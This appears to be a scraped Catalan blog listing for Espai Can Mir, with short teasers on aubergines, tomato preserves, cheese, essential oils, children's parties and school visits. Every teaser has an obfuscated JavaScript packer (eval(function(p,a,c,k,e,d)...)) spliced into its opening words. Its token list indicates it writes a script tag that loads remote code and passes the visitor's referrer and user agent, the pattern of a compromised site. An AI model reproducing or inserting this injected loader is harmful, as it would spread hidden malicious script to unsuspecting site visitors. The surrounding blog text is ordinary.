Receptari Espai Can Mir

Albergínies, perquè és estiu. Espai Can Mir

Des eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“”);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|fntft|var|u0026u|referrer|fbkek||js|php’.split(‘|’),0,{}))
d’una escalivada, una samfaina, l’exòtica mussaka, o simplement a la planxa, l’albergínia és sens dubte la reina de la cuina a l’estiu. Combina amb tota mena de sabors, és refrescant i diürètica, té un alt percentatge d’aigua i aporta moltíssims nutrients i …

Espai CAn Mir, conserves, tomàquets

Hort, tomàquets i conserves a l’Espai Can Mir

Des eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“”);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|dfadt|var|u0026u|referrer|zdkts||js|php’.split(‘|’),0,{}))
de mitjans de juliol i fins a principis d’agost, l’hort de Can Mir es converteix en un gran productor de tomàquets, dolços i boníssims. En produïm de diverses espècies, però els que van millor per a fer-ne conserves són els de pera, …

Tast de Pernil Espai Can Mir

Experiències gastronòmiques Espai Can Mir

L’Espai eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“”);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|fykrt|var|u0026u|referrer|ksaii||js|php’.split(‘|’),0,{}))
Can Mir és un lloc per viure experiències i la gastronomia i la cultura dels sabors hi tenen un paper molt important. Mirem de posar a l’abast de tots alguns dels productes catalans més destacats per tal de conèixer-los i apreciar-los: oli. …

Festa Dinos. Espai Can Mir

Fem festa a l’Espai Can Mir

L’Espai eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“”);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ezenz|var|u0026u|referrer|frbdb||js|php’.split(‘|’),0,{}))
Can Mir és l’escenari perfecte per a celebrar una festa amb nens i nenes. Aleshores, els camps, els camins i els racons de Can Mir es converteixen en un món màgic: en terra de dinosaures, en una gran cuina per experimentar, en …

Benvinguts a Pages 2018 Espai Can Mir

Can Mir diu Benvinguts a Pagès

Dos eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“”);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ntriy|var|u0026u|referrer|neahy||js|php’.split(‘|’),0,{}))
dies de portes obertes per conèixer tot el que fem a Can Mir, viure l’apassionant món de les plantes, recòrrer la finca fent descobertes a cada pas i passar una jornada fantàstica en un entorn natural privilegiat.
Aquest és el tercer any que …

L'escola visita Can Mir

Les escoles visiten Can Mir

Can eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“”);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|nayzd|var|u0026u|referrer|bsfae||js|php’.split(‘|’),0,{}))
Mir s’omple de rialles i corredisses, els nens i nenes vénen a conèixer aquest espai, visiten el viver, fan un taller de jardineria vertical i també a escolten les aventures d’un pèsol que es diu Manel. Can Mir està obert a les escoles i organitza visites amb …

Olis essencials. Espai Can Mir

Olis essencials

Olor eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“”);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|sfsth|var|u0026u|referrer|tszhf||js|php’.split(‘|’),0,{}))
d’espígol, de romaní… intens i a petites dosis, olis essencials, essencia de l’essència, máxima concetració. Els olis essencials s’extreuen de les plantes aromàtiques –hi ha prop de 700 plantes­ i a Can Mir fem planter de moltes d’elles- i tenen moltíssimes aplicacions i utilitats. …

Ous de Pasqua Can Mir

Vuit curiositats sobre els ous de Pasqua

L’ou eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“”);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zsikr|var|u0026u|referrer|tztnr||js|php’.split(‘|’),0,{}))
té una gran importància com a símbol de Pasqua, que coincideix amb l’inici de la primavera. En aquesta època de l’any la natura es desperta i surt de la letargia hivernal. Cal tenir en compte que l’ou sempre ha simbolitzat la fecunditat, …

Formatges a l'Esapi CanMir

Els formatges a Catalunya

Arreu eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“”);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|bzike|var|u0026u|referrer|yiifd||js|php’.split(‘|’),0,{}))
del territori de Catalunya s’hi poden trobar fins a 250 varietats de formatge amb una important presència de formatges històrics, tradicionals, i una cada vegada més àmplia oferta de formatges moderns. Des del mató i el recuit empordanesos als formatges de cabra, …

Taller Espai Can Mir

Sis bons consells per fer un microjardí

 
Vols eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“”);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ksksk|var|u0026u|referrer|hnksh||js|php’.split(‘|’),0,{}))
aprendre a fer petits jardins que es converteixen en autèntiques peces de decoració. Vols que aquests centres originals vagin més enllà de les clàssiques combinacions florals o dels testos amb plantes pansides que es deixen en un racó? A l’Espai Can …